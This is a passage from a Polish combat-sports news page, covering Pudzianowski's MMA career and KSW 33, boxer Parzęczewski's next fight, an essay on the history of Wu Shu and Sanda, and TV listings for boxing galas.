Walki z Sappem czy Piliafasem miały przyciągnąć uwagę publiczności. Zwłaszcza rywalizacja z Amerykaninem, który robił ogromne zamieszanie i chciał wzbudzić jak największe zainteresowanie swoją osobą. Kolejnym rywalem „Pudziana” był Sean McCorkle i od tego momentu zaczęły się zmiany. Pierwszy pojedynek z Amerykaninem Polak przegrał, ale wziął na nim rewanż i od tego czasu jest niepokonany. Warto zaznaczyć, że „Pudzian” popracował nad kondycją, bo kolejne pojedynki toczył na pełnym dystansie i o wszystkim decydowali sędziowie. Wielkie emocje w Polsce wzbudził bój z Pawłem Nastulą, w którym nie zabrakło zwrotów akcji. Pudzianowski wygrał z mistrzem olimpijskim, czym zaskoczył wielu, a jednocześnie udowodnił, że ciężka praca popłaca. Ręce do oklasków składały się po walce z Rollesem Gracie. „Pudzian” w zaledwie dwadzieścia siedem sekund położył swojego rywala. Mocny cios, czysto wyprowadzony zamroczył Brazylijczyka, który padł jak rażony gromem. Zachwytom nie było końca.

Teraz Anglia

Pudzianowski będzie jedną z gwiazd KSW 33. W Londynie Polaka czeka kolejne wyzwanie w karierze i będzie miał okazję udowodnić, że ostatnie jego sukcesy nie są dziełem przypadku. Nie wiadomo, z kim „Pudzian” stoczy pojedynek. Pojawia się głosy, że będzie to doświadczony zawodnik z Anglii. Pierwsze przypuszczenia wskazują na Philipa de Friesa, który ma za sobą występy w UFC. W najlepszej organizacji mieszanych sztuk walki stoczył pięć pojedynków, z których dwa zapisał po stronie wygranych. Anglik w swojej karierze walczył już z zawodnikiem z Polski. Łukasz Parobiec musiał uznać wyższość de Friesa. Czy Pudzianowski w Londynie stanie właśnie naprzeciw 29-latka?

Na gali KSW w Anglii zaprezentują się również Marcin Różalski oraz Mateusz Gamrot.

Kułak wraca w Częstochowie

Podczas ostatniej gali KSW doświadczony fighter zdradził, że pojawi się w oktagonie. W Częstochowie Krzysztof Kułak ma wystąpić w kategorii półśredniej, a jako jego rywala przedstawia się Macieja Jewtuszko. Z pewnością byłoby to ciekawe starcie. Zwłaszcza, że obaj przegrali swoje ostatnie pojedynki. „Irokez” podczas KSW 31 poniósł klęski w starciu z Kamilem Szymuszowskim.

KM

Niepokonany naprzeciw niepokonanego

Przed Robertem Parzęczewskim kolejne wyzwanie w jego zawodowej karierze. Popularny „Arab” 19 czerwca wystąpi na gali „BudWeld Boxing Night” w Ostrowcu Świętokrzyskim.

Bokser konsekwentnie realizuje swoje plany i buduje pozycję w wadze półciężkiej. Do tej pory stoczył osiem pojedynków – wszystkie wygrał. W marcu w Lubinie zmierzył się z Farouckiem Dahu w ośmiorundowym starciu. Parzęczewski zdecydowanie wygrał na punkty i po raz trzeci w karierze miał okazję rywalizować na takim dystansie. Polak przeważnie walczył w starciach cztero- i sześciorundowych, także pojedynek ośmiorundowy był swego rodzaju wyzwaniem dla pięściarza. Parzęczewski robi postępy i ma bogate marzenia.

21-letni bokser otwarcie przyznaje, że chciałby zostać mistrzem świata przed ukończeniem 25. roku życia, co jest poważną deklaracją. Ponadto, Parzęczewski myśli o zmianie kategorii – na super średnią. Plany polskiego pięściarza są bogate, ale niestety należy pamiętać, że nie wszystko zależne jest od jego umiejętności. W boksie na sukces składa się wiele elementów. Jednym z nich są umiejętności czysto sportowe, ale trzeba uwzględnić również warunki, posiadanie sponsora oraz zdrowie. Gdy te wszystkie elementy zostaną połączone wtedy osiągnięcie zamierzonych celów staje się możliwe. Czy tak będzie w przypadku Parzęczewskiego?

Polak musi konsekwentnie robić swoje. Nie pozostaje mu nic innego jak ciężki trening i kolejne walki, w których musi prezentować odpowiedni poziom. W czerwcu w Ostrowcu Świętokrzyskim Parzęczewski stanie naprzeciw Jessy’ego Luxembourgera. 25-letni Francuz dotychczas stoczył sześć pojedynków i wszystkie wygrał. W swojej ostatniej walce pokonał pięściarza, który na swoim koncie miał ponad trzydzieści porażek. Trudno cokolwiek powiedzieć na temat potencjału Luxembourgera. Francuz z pewnością przyjedzie do Polski po wygraną, a będzie to jego pierwsza bokserska podróż do innego kraju. Parzęczewski stanie przed kolejnym wyzwaniem, ale ma przewagę. Po pierwsze, walczy na swoim terenie, a po drugie – w swojej karierze rywalizował z zawodnikami z innych krajów. Ten drugi powód wydaje się o tyle cenny, że Polak poznał inne kultury i sposoby rywalizacji. Francuz do tej pory był zamknięty we własnym kręgu, więc może mieć trudności z odnalezieniem się.

Parzęczewski aktywnie trenuje i przygotowuje się do rywalizacji z najbliższym rywalem. W Dzierżoniowie sparuje z Mateusz Rzadkoszem i Michałem Gerleckim. Do pojedynku zostały dwa tygodnie, więc przez 21-letni pięściarzem ostatnia prosta. Parzęczewski musi być przygotowany na najtrudniejsze wyzwanie w swojej karierze. Polak ma określone cele i wie, co chce osiągnąć, dlatego już teraz musi podjąć stanowcze kroki na drodze do realizacji swoich założeń. Nie pozostaje nic innego jak wyjść do ringu i wygrać. Efektywność jest jedną z dróg do wielkiej kariery, czyli znalezienia sponsora oraz otwierania kolejnych drzwi. Jak to mówią – i niech zdrowie będzie. Wtedy wszystko się ułoży. A teraz niech Parzęczewski przełoży słowa w czyn.

Fot. polski-sport.pl

KM

 

O Wu Shu opowiada Dariusz Piwowarski

Chiny są kolebką wielu, niektórzy teoretycy twierdzą, że kilkuset styli Wu Shu, z których kilkanaście przetrwało do dzisiaj i są nauczane w wersji tradycyjnej zgodnej z przekazem twórców lub zmienione i dostosowane do potrzeb zawodów sportowych jak nowoczesne Wu Shu. Wolna walka Sanshou pomimo tego, że wchodzi w skład zawodów sportowych, a więc poddaje się określonym przepisom regulującym zasady przebiegu walk to wywodzi się z walk na platformie Leitai, których podstawowym przepisem była zasada „żadnych zasad”. Cały czas używane jest pojęcie platformy, a oznacza ono podest o różnej wysokości i powierzchni w zależności od prowincji w której walki się odbywały. Zwykle były to podesty o wysokości kilku metrów dookoła których wbijano ostro zakończone bambusy. Walka trwała do chwili, aż któryś z zawodników zrzucał z niego przeciwnika dowolną techniką. Efekt toczonego boju kończył się zwykle śmiercią. Walki takie toczono również przy użyciu różnego rodzaju broni, np. włóczni, szabli, itd., w których zawodnicy biorący udział byli ekspertami. Chociaż walki takie były rozgrywane na śmierć i życie spełniały jednak rolę rozrywki dla cesarzy, lokalnych władców oraz ludności wśród której cieszyły się wielką popularnością. Służyły też władcom do pozyskiwania najlepszych ekspertów, których następnie zatrudniano do ochrony osobistej i tworzono tzw. gwardię przyboczną, której idea przetrwała do czasów dzisiejszych. Walki na platformie rozstrzygały często całe bitwy, ponieważ dowódcy przeciwnych armii spotykali się w bezpośrednim pojedynku. Walki takie były również wykorzystywane do rozstrzygania bitew między całymi armiami, ponieważ dowódcy toczyli pojedynki na nich zamiast przelewać krew swoich żołnierzy. Innym sposobem wykorzystywania tego typu walk była rywalizacja Mistrzów Szkół Wu Shu, które działały w tej samej prowincji lub miejscowości. Prowadzący szkołę nauczyciel musiał startować w zawodach na platformie, przyjmując tym samym wyzwanie innego nauczyciela co kończyło się zwykle przejęciem uczniów i szkoły przez wygranego. Przeniesieniem tradycji tych walk do czasów współczesnych są walki sportowe Sanshou. Platformę obniżono do wysokości 80 cm i ustalono jej powierzchnię do wymiarów 8m x 8m oraz obłożono ją grubymi materacami, zabezpieczającymi zawodników przed upadkiem poza nią. Zasób technik umożliwiających prowadzenie walki zawiera techniki ręczne, nożne, rzuty, podcięcia oraz wypchnięcia poza platformę walki. W 1990 roku Międzynarodowa Federacja Wu Shu opracowała przepisy regulujące zasady rozgrywania i organizowania zawodów wolnej walki, które obowiązują z pewnymi zmianami do dzisiaj i na podstawie których odbywają się wszystkie zawody rangi Mistrzostw Świata i Europy oraz nasze zawody krajowe organizowane przez Polski Związek Wu Shu. Zmiany w regulaminie, które nastąpiły w ciągu kilku lat dotyczą tylko niewielkiej części przepisów i nie powodują konieczności zmian w przygotowaniach zawodników. Wydaje się więc, że stosunkowo nowa dyscyplina sportowa, którą jest wolna walka Sanda, zawiera w sobie przekaz sztuki tradycyjnej mającej za sobą wielowiekową historię.

W związku z przyznaniem Pekinowi organizacji Igrzysk Olimpijskich w 2008 r. wiele się mówiło o włączeniu Wu Shu do programu tej imprezy jako dyscypliny medalowej. Wu Shu nie jest obecnie w gronie dyscyplin oczekujących wejścia do rodziny Sportów Olimpijskich W Pekinie odbył się turniej pokazowy, w którym wziął udział nasz zawodnik Andrzej Topczewski, podczas którego zawodnicy otrzymali medale olimpijskie. Rywalizacja odbyła się w następujących konkurencjach:

 

  • Formy ręczne mężczyzn: północne (changchuan) i południowe (nanchuan)
  • Formy mężczyzn z kijem: północne (gunshu) i południowe (nangun)
  • Formy mężczyzn z szablą: północne (daoshu) i południowe (nandao)
  • Formy ręczne kobiet: północne (changchuan) i południowe (nanchuan)
  • Formy kobiet z bronią: miecz północny (jianshu) i włócznia (qiaoshu)
  • Walki Sanda

 
Międzynarodowa Federacja Wu Shu organizuje kilku lat profesjonalne turnieje wolnej walki na które zapraszani są czterej najlepsi zawodnicy zajmujący czołowe miejsca podczas zawodów rangi mistrzowskiej. Formułą bardzo zbliżoną do Sanda jest Muay Thai oraz formuła K1. Walczyć więc mogą i chcą Wielcy Zawodnicy Sanda, Muay Thai i K1. Mają one oprawę największych turniejów formuły K-1, odbywających się corocznie w Japonii.

Historia konkurencji wolnej walki Sanda w naszym kraju liczy prawie 30 lat, bowiem w połowie lat 80-tych powstały pierwsze sekcje, w których rozpoczęto treningi pod kątem zawodów sportowych – według przepisów międzynarodowych.
W połowie lat 80-tych istniało w naszym kraju kilkanaście ośrodków zajmujących się uprawianiem chińskich sztuk walki Kung Fu/Wu Shu, w których praktykowano je w sposób tradycyjny. Głównym celem ich działalności były samodoskonalenie ćwiczących oraz propagowanie sztuk walki w aspekcie zdrowotnym i kształtującym wysoką sprawność fizyczną. Pojawiły się jednak propozycje organizowania (oprócz warsztatów instruktorskich), zorganizowanych form współzawodnictwa w konkurencji form oraz walk, opartych na regulaminach opracowanych przez głównych instruktorów. Pozyskanie przepisów stosowanych przez Europejską Federację Wu Shu (EWuF), opracowanych ma Mistrzostwa Europy, umożliwiło wprowadzenie jednolitych i zgodnych z wymogami organizacji międzynarodowych zasad rozgrywania zawodów krajowych. Pierwsze zawody ogólnopolskie w programie których znalazło się sanshou (wcześniej stosowana nazwa) odbyły się w Słupsku w 1989r i stanowiły jednocześnie kwalifikacje do reprezentacji Polski Polskiego Zrzeszenia Kung Fu/Wu Shu na Mistrzostwa Europy w Sztokholmie. Pomimo działań Rady Instruktorów Wu Shu, zmierzających do propagowania wolnej walki, należy stwierdzić, że tradycyjna metodyka prowadzenia szkolenia w sekcjach nie pozwalała na przygotowanie zawodników do rywalizacji międzynarodowej, a zwłaszcza z Azji. Dlatego też, część ośrodków wydzieliła w swoich strukturach grupy zawodników przygotowujących się do zawodów sportowych lub podjęła współpracę z klubami kick-boxingu, w których dodatkowo trenowali i mieli możliwość startowania w zawodach. Bardzo częsta była praktyka pozyskiwania zawodników z innych sportów walki, a przede wszystkim zapasów oraz kick-boxingu. Ten sposób był powszechny w wielu krajach, a zwłaszcza byłego Związku Radzieckiego, ponieważ przynosił bardzo szybkie efekty w postaci medali na ważnych zawodach. Tylko zawodnicy chińscy szkoleni byli w sposób specjalistyczny, a ponadto stworzone regulaminy, obowiązujące na zawodach organizowanych przez IWUF, a później i inne organizacje, predysponowały ich do zajmowania czołowych miejsc. W okresie kilku lat inne kraje azjatyckie, a także europejskie (Rosja, Rumunia, Szwecja, Francja), wspomagane przez własne władze sportowe, prowadziły systematyczne szkolenie swoich zawodników, co spowodowało zmniejszenie dystansu jaki je dzielił od poziomu azjatyckiego. W związku z powyższym, osiągnięcia naszych zawodników, którzy przygotowywali się do zawodów i wyjeżdżali na nie za własne pieniądze (dotyczy to również trenerów), a następnie musieli leczyć nabyte kontuzje we własnym zakresie, należy postrzegać w zupełnie innym świetle. Niestety w tamtym okresie i w chwili obecnej w naszym kraju Związki sportowe nie olimpijskich, są dotowane w bardzo ograniczonym zakresie, bez względu na osiągnięcia medalowe podczas zawodów mistrzowskich. Dzięki własnemu zapałowi, pomocy rodzin oraz nielicznych, ale niezbędnych sponsorów zawodnicy wchodzący w skład Kadry Polski Polskiego Zrzeszenia Wu Shu (wcześniej Kung Fu / Wu Shu), uczestniczyli od 1989r. z sukcesami w najważniejszych zawodach rangi mistrzowskiej oraz wielu turniejach. Pierwszymi zawodami w których wzięli udział nasi zawodnicy były III Mistrzostwa Europy, które odbyły się w Sztokholmie w 1989 r., podczas których zawodnicy Marek Sajdak oraz Dariusz Górecki zdobyli tytuły wicemistrzów Europy. Dwa lata później odbyły się I Mistrzostwa Świata Wu Shu w Pekinie, na których polscy zawodnicy Sanshou zajęli trzy piąte miejsca.

Pierwsze lata rozwoju to zdecydowana dominacja zawodników z Azji, a zwłaszcza z Chin, które były kolebką tej dyscypliny. Rosnąca popularność wolnej walki przyczyniła się do rozwoju tej dyscypliny w krajach europejskich. Szczególnie wyróżniali się zawodnicy z Rosji, Rumunii, Szwecji, Hiszpanii, Francji. Miało to bezpośredni związek z systemem organizacyjnym Wu Shu w tych krajach, a przede wszystkim pomocą ze strony władz sportowych. Wspomniany był fakt werbowania do Sanshou zawodników doświadczonych z innych sportów walki. Działania takie wymagały jednak nakładów finansowych ponieważ zawodnicy ci wymagali zapewnienia im odpowiednich warunków. Innym sposobem było zatrudnianie trenerów chińskich lub wysyłanie zawodników na szkolenie do instytutów w Chinach. Nie trzeba jednak dodawać, że działania takie również wymagały pokaźnych funduszy. Wieloletnie systematyczne szkolenie kadry umożliwiło osiągnięcie bardzo wysokiego poziomu sportowego zawodników, a ponadto wypracowanie własnych metod treningowych opartych na najlepszych wzorcach, umożliwiających w chwili obecnej rywalizowanie na równym poziomie z zawodnikami azjatyckimi (głownie chińskimi i koreańskimi). Zawody zdominowane były w ciągu kilku lat przez rywalizacją zawodników azjatyckich i europejskich, choć widoczni byli również zawodnicy Iranu, Kazachstanu, Mongolii, mający trenerów chińskich. Biorąc pod uwagę wszystkie te fakty, należy powiedzieć, że zawodnicy i instruktorzy polscy dysponujący mizernymi możliwościami finansowymi i korzystający okazjonalnie z porad trenerów chińskich odnosili znaczące sukcesy – oczywiście proporcjonalnie do możliwości. Pewnym ograniczeniem w rozwoju konkurencji był regulamin IWuF określający, że każdy kraj mógł wystawić swoich zawodników tylko w 5 kategoriach wagowych, a ponadto nie było walk kobiet. Kolejne lata przyniosły wyraźne wyrównywanie poziomu sportowego zawodników, ze względu ich specjalizację i wprowadzenie odrębnego systemu szkolenia w walkach. Regulamin zawodów umożliwia stosowanie wielu technik, spotykanych w innych sportach walki, ale możliwość łączenia ich w jednej formule powoduje to, że Sanda w wykonaniu zawodników dobrze wyszkolonych technicznie jest niezwykle widowiskowa i emocjonująca. Konkurencje walk kobiet wprowadzono dopiero podczas Mistrzostwach Świata Wu Shu w Macao w 2003r. Poziom zawodów stale wzrastał również z uwagi na przyznanie Pekinowi prawa organizacji Igrzysk Olimpijskich w 2008 r. Środowisko związane z tą dyscypliną miało nadzieję na zaprezentowanie się na najważniejszych zawodach sportowych, podobnie jak miało to miejsce z Taekwondo organizacji WTF w Seulu. Wzrasta liczba międzynarodowych turniejów i zawodów mistrzowskich. Obok walk pełnokontaktowych Sanda wprowadzono system walk Qingda w lekkim kontakcie rozgrywanych od I Mistrzostw Europy Wu Shu Tradycyjnego, które odbyły się w kwietniu br w Tallinie. Podczas zawodów organizowanych przez Polski Związek Wu Shu walki qingda odbywają się w kategoriach juniorów i seniorów, natomiast walki Sanda w kategoriach juniorów od 15 lat i seniorach. Międzynarodowa Federacja Wu Shu organizuje od kilku lat Puchary Świata w Sanda, na które zapraszani są najlepsi zawodnicy z mistrzostw świata, , którzy otrzymujący za walki nagrody pieniężne. Profesjonalizacja turniejów Sanda dotyczy nagród finansowych dla zawodników, a także oprawy i organizacji turniejów.

Autor: Dariusz Piwowarski

[kod]

Janik kontra Drozd w FightKlubie!

W środę od godziny 22:00 pokażemy w FightKlubie wielką galę z Moskwy. W głównej walce wieczoru zobaczymy starcie o mistrzostwo świata WBC w wadze junior ciężkiej. Łukasz Janik po świetnym, choć przegranym występie przeciwko Oli Afolabim otrzymał szansę walki o tytuł z Grigorijem Drozdem. Dzierżący mistrzostwo świata WBC w limicie 200 funtów Rosjanin charakterystyczny zielony pas zdobył po jednostronnym zwycięstwie nad Krzysztofem “Diablo” Włodarczykiem. Wcześniej w podobnym stylu pokonał także Mateusza Masternaka. Ostatnie zwycięstwa wyniosły Drozda na szczyt rankingu kategorii cruiser. W innej walce w kategorii junior ciężkiej, złoty medalista olimpijski Rahim Czakijew, po ciężkiej porażce z rąk Krzysztofa Włodarczyka, zmierzy się z niepokonanym Amerykaninem Anthonym Wrightem.
Gala z Moskwy w środę od 22:00 w FightKlubie!

Źródło: materiały prasowe

Zwiastun: [kod]

Jayson Velez – Daniel Ramirez w cyklu LA Fight Club

Na antenę FightKlubu powraca cykl bokserski „LA Fight Club”. Imprezę organizowaną przez Golden Boy Promotions Oscara De La Hoyi uświetni zestawienie rywalizujących ze sobą bokserskich potęg – Portoryko i Meksyku. W głównej walce wieczoru zobaczymy na żywo starcie w kategorii super piórkowej pomiędzy Jaysonem Velezem (22-0-1, 16 KO) z Caguas i Danielem Ramirezem (11-2, 5 KO) z meksykańskiej Tijuany.

Niepokonany w 22. walkach „La Maravilla” Velez w ostatnim pojedynku zremisował z byłym już mistrzem świata IBF w kategorii piórkowej Jewgienijem Gradowiczem.Pochodzący z bogatej w bokserskie tradycje Tijuany, Daniel Ramirezw ostatnim pojedynku uległ przed czasem Ericowi Hunterowi na gali w Atlantic City. Ma dobrą okazję, by zmazać tę porażkę ze swojego rekordu szczególnie, że konfrontacje portorykańsko-meksykańskie cieszą się zawsze niesamowitą popularnością i niosą ze sobą dodatkowy ‘’smaczek”.

Na transmisję gali z Belasco Theater w Los Angeles zapraszamy w nocy z czwartku na piątek od godziny 04:00. Powtórka w piątek od 11:30.

Źródło: materiały prasowe